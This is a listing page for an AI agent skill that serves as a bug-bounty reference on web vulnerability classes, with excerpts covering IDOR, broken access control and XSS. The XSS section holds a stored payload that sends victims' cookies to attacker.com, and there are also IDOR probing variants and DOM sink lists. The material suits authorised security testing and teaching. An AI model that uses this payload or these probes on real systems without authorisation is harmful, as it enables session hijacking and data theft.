web2-vuln-classes
What it does
This skill is a reference guide for an agent testing web apps. It explains how common flaws such as IDOR, SSRF, XSS, and SQL injection happen and how to spot them.
When to use it
- βWhen a tester wants to learn how a common web flaw such as IDOR or SSRF works.
- βWhen a tester needs detection patterns or bypass ideas for a specific flaw class.
- βWhen a tester wants to check a finding against known root causes.
Skill link
https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/web2-vuln-classes/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βExplain how to test this app for IDOR, with the common root causes and what to look for.β
5 new skills a week. 1 minute to read.
How it works
The agent finds the right class in the reference, then uses its root cause, detection patterns, and bypass table to plan tests. Classes that need login are marked, and two sessions are suggested for access checks.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
WEB2 BUG CLASSES β 26 Classes
Root cause, pattern, bypass table, chaining opportunity, real paid examples.
Auth-required classes (π): the ones below need at least one logged-in session loaded into the hunt to be testable. Use
hunt.py --auth-file .private/T.jsonor--cookie/--bearerflags β every recon/scan tool then inherits the headers automatically. For IDOR/BOLA/priv-esc, load two sessions (low- and high-priv) and diff. Seedocs/auth-sessions.md.π IDOR Β· Broken Auth/Access Control Β· Mass Assignment Β· OAuth/OIDC Β· JWT Β· GraphQL field-level auth Β· LLM/AI chatbot IDOR Β· MFA (rate-limit + response manipulation tests) Β· ATO chains Β· SSRF behind login
The MFA workflow-skip and SAML signature-stripping probes intentionally stay unauthenticated even when a session is loaded β that's the attack premise.
1. IDOR β INSECURE DIRECT OBJECT REFERENCE π
#1 most paid web2 class β 30% of all submissions that get paid. Needs two sessions (A=attacker, B=victim) β load both via
--auth-fileand diff audit-logsession_idhashes to confirm cross-tenant access.
Root Cause
# VULNERABLE β no ownership check
@app.route('/api/orders/<order_id>')
def get_order(order_id):
order = db.query("SELECT * FROM orders WHERE id = ?", order_id)
return jsonify(order) # Never checks if order belongs to current user!
# SECURE
@app.route('/api/orders/<order_id>')
def get_order(order_id):
order = db.query("SELECT * FROM orders WHERE id = ? AND user_id = ?",
order_id, current_user.id)
Variants
- V1: Numeric ID swap β
/api/user/123/profileβ change to 124 - V2: UUID swap β enumerate UUID via email invite or other endpoint
- V3: Indirect IDOR β
POST /api/export?report_id=456exports another user's report - V4: Parameter add β
?user_id=othermakes backend use it - V5: HTTP method swap β PUT protected, DELETE not
- V6: Old API version β
/v1/users/123lacks auth that/v2/has - V7: GraphQL node β
{ node(id: "base64(User:456)") { email } } - V8: WebSocket β WS sends
{"action":"get_history","userId":"client-generated-UUID"}
Testing Checklist
[ ] Two accounts (A=attacker, B=victim)
[ ] Log in as A, perform all actions, note all IDs
[ ] Replay A's requests with A's token but B's IDs
[ ] Test EVERY HTTP method (GET, PUT, DELETE, PATCH)
[ ] Check API v1 vs v2
[ ] Check GraphQL node() queries
[ ] Check WebSocket messages for client-supplied IDs
IDOR Chain Escalation
- IDOR + Read PII = Medium
- IDOR + Write (modify other's data) = High
- IDOR + Admin endpoint = Critical (privilege escalation)
- IDOR + Account takeover path = Critical
- IDOR + Chatbot reads other user's data = High
2. BROKEN AUTH / ACCESS CONTROL π
#2 most paid class. The sibling function rule: if 9 endpoints have auth, the 10th that doesn't is your bug. Needs auth loaded β you're testing which sibling routes a logged-in user can reach that shouldn't be reachable. Compare authed responses against the same paths hit anonymously.
The Sibling Rule
/api/admin/users β has auth middleware
/api/admin/export β often MISSING it
/api/admin/delete β often MISSING it
/api/admin/reset β often MISSING it
Patterns
// Missing middleware on sibling
router.get('/admin/users', authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport); // No middleware!
// Client-side role check only
if (user.role === 'admin') showAdminButton();
// Backend: app.post('/api/admin/delete', deleteUser); // no server check!
Real Paid Examples
- HackerOne TrustHub:
POST /graphqlwithTrustHubQueryβ no auth, regular user reads all vendors (CVSS 8.7 High) - Vienna Chatbot: WebSocket
get_historyaccepts arbitrary UUID β no ownership check (P2)
3. XSS β CROSS-SITE SCRIPTING
Stored XSS (highest impact)
Input: "<script>document.location='https://attacker.com/c?c='+document.cookie</script>"
Any user viewing page executes attacker JS β cookie theft β session hijack
DOM XSS Sinks (grep for these)
innerHTML = userInput // HIGH RISK
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
element.src = userInput // JavaScript URI possible
location.href = userInput
postMessage is a DOM XSS source β same sinks above (innerHTML, eval
FAQ
How many classes are covered?
The skill covers 26 web bug classes, including IDOR, SSRF, XSS, SQL injection, and file upload.
Why use two sessions?
The skill suggests loading a low-privilege and a high-privilege session to compare access.
Does it include AI risks?
Yes. It includes LLM and AI risks mapped to the ASI categories.
Details
Original description by the author
Complete reference for 26 web2 bug classes with root causes, detection patterns, bypass tables, exploit techniques, and real paid examples. Covers IDOR, auth bypass, XSS (postMessage), SSRF (11 IP bypass techniques), SQLi, business logic, race conditions, OAuth/OIDC, file upload (10 bypass techniques), GraphQL, LLM/AI (ASI01-ASI10, MCP/RAG attacks), API misconfig (mass assignment, JWT, prototype pollution, CORS), ATO (9 paths), SSTI, subdomain takeover, cloud misconfig, HTTP smuggling, cache poisoning, MFA bypass (7 patterns), SAML attacks, error disclosure, CSS injection, LFI/RCE, insecure de
Popularity
- GitHub stars
- 5.5k
- Ranking position
- #14797
- License
- MIT
- Updated
- 10/28/2026
Comments
- β¦
More skills from this repository
bug-bounty
5.5kHelps your agent plan a bug bounty review in stages, from checking the program scope and mapping assets to testing leads, validating impact, and writing a report.
agentic-app-audit
5.5kHelps your agent review a live AI assistant from the outside for risks such as hijacked tool calls, poisoned memory, and actions taken with more access than the user has.
argus
5.5kHelps your agent run six automated scanners for common web and AI app flaws, such as open cross-origin access, JWT weaknesses, and blind bugs confirmed out-of-band.
bb-methodology
5.5kHelps your agent plan a bug bounty session in stages, choosing the next step and the right checks, and dropping ideas that cannot cause real harm.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.